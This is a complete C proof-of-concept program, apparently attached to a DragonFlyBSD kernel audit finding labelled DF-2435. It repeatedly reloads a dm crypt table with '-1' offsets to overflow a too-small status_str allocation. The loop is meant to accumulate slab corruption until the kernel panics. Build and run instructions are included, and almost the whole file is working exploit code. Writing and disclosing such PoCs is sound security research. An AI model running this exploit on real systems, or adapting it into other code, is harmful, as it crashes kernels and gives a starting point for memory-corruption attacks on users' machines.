DragonFlyBSD Kernel Audit
DF-2435 / dm_crypt_loop.c
← back to finding ↓ download raw
/*
 * DF-2435 loop PoC -- drives the dm_target_crypt status_str overflow in a
 * loop to accumulate slab corruption until INVARIANTS catches it as a panic.
 *
 * Each iteration: create dm device -> reload crypt table with "-1 -1"
 * offsets (status_str kmalloc'd too small -> ksprintf 36-byte overflow) ->
 * remove device (frees corrupted slab). After enough iterations the slab
 * zone's free-chunk linked list (c_Next pointers) is corrupted enough that
 * a subsequent kmalloc in dm_target_crypt_init hits the chunk_mark_allocated
 * zone-alignment assertion and panics.
 *
 * The single-shot PoC (dm_crypt_overflow.c) proves the overflow via
 * status_str readback. This loop PoC demonstrates the corruption impact
 * (deterministic panic with heap grooming). Use both together.
 *
 * Build:  cc -O2 -o dm_crypt_loop dm_crypt_loop.c -lprop
 * Run:    ./dm_crypt_loop [iters]    (as root, after `kldload dm`)
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <libprop/proplib.h>
#include <dev/disk/dm/netbsd-dm.h>

#define DM_CONTROL_DEV "/dev/mapper/control"
#define HEXKEY "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef"
#define UNDERLYING_DEV "/dev/md0"

static int g_ctlfd = -1;

static int
send_ioctl(prop_dictionary_t dict)
{
    return prop_dictionary_send_ioctl(dict, g_ctlfd, NETBSD_DM_IOCTL);
}

static prop_dictionary_t
new_dm_dict(const char *command)
{
    prop_dictionary_t dict = prop_dictionary_create();
    prop_array_t ver = prop_array_create();
    prop_array_add_uint32(ver, 4);
    prop_array_add_uint32(ver, 0);
    prop_array_add_uint32(ver, 0);
    prop_dictionary_set(dict, DM_IOCTL_VERSION, ver);
    prop_object_release(ver);
    prop_dictionary_set_cstring(dict, DM_IOCTL_COMMAND, command);
    prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, 0);
    return dict;
}

static int
do_op(const char *cmd, const char *name)
{
    prop_dictionary_t dict = new_dm_dict(cmd);
    prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, name);
    int rv = send_ioctl(dict);
    prop_object_release(dict);
    return rv;
}

static int
do_reload(const char *name)
{
    prop_dictionary_t dict, td;
    prop_array_t cd;
    char params[512];
    int rv;

    snprintf(params, sizeof(params),
        "aes-xts-plain %s -1 %s -1", HEXKEY, UNDERLYING_DEV);

    dict = new_dm_dict("reload");
    prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, name);
    cd = prop_array_create();
    td = prop_dictionary_create();
    prop_dictionary_set_cstring(td, DM_TABLE_TYPE, "crypt");
    prop_dictionary_set_uint64(td, DM_TABLE_START, 0);
    prop_dictionary_set_uint64(td, DM_TABLE_LENGTH, 2097152);
    prop_dictionary_set_cstring(td, DM_TABLE_PARAMS, params);
    prop_array_add(cd, td);
    prop_object_release(td);
    prop_dictionary_set(dict, DM_IOCTL_CMD_DATA, cd);
    prop_object_release(cd);

    rv = send_ioctl(dict);
    prop_object_release(dict);
    return rv;
}

int
main(int argc, char **argv)
{
    int iters = 200;
    int i, rv;
    char devname[64];

    if (argc >= 2)
        iters = atoi(argv[1]);

    g_ctlfd = open(DM_CONTROL_DEV, O_RDWR);
    if (g_ctlfd < 0) {
        fprintf(stderr, "[!] open %s: %s\n", DM_CONTROL_DEV, strerror(errno));
        return 1;
    }

    printf("[*] DF-2435 loop: %d iterations of overflow+remove to panic slab\n", iters);
    fflush(stdout);

    for (i = 0; i < iters; i++) {
        snprintf(devname, sizeof(devname), "df2435l_%03d", i);
        (void)do_op("remove", devname);
        rv = do_op("create", devname);
        if (rv != 0 && rv != EEXIST) continue;
        if (rv == EEXIST) { (void)do_op("remove", devname); rv = do_op("create", devname); if (rv) continue; }
        rv = do_reload(devname);
        (void)do_op("remove", devname);
        if ((i % 25) == 0) { printf("[*] iter %d/%d ok\n", i, iters); fflush(stdout); }
    }

    for (i = 0; i < iters; i++) {
        snprintf(devname, sizeof(devname), "df2435l_%03d", i);
        (void)do_op("remove", devname);
    }
    close(g_ctlfd);
    printf("[!] exhausted %d iterations without panic\n", iters);
    return 0;
}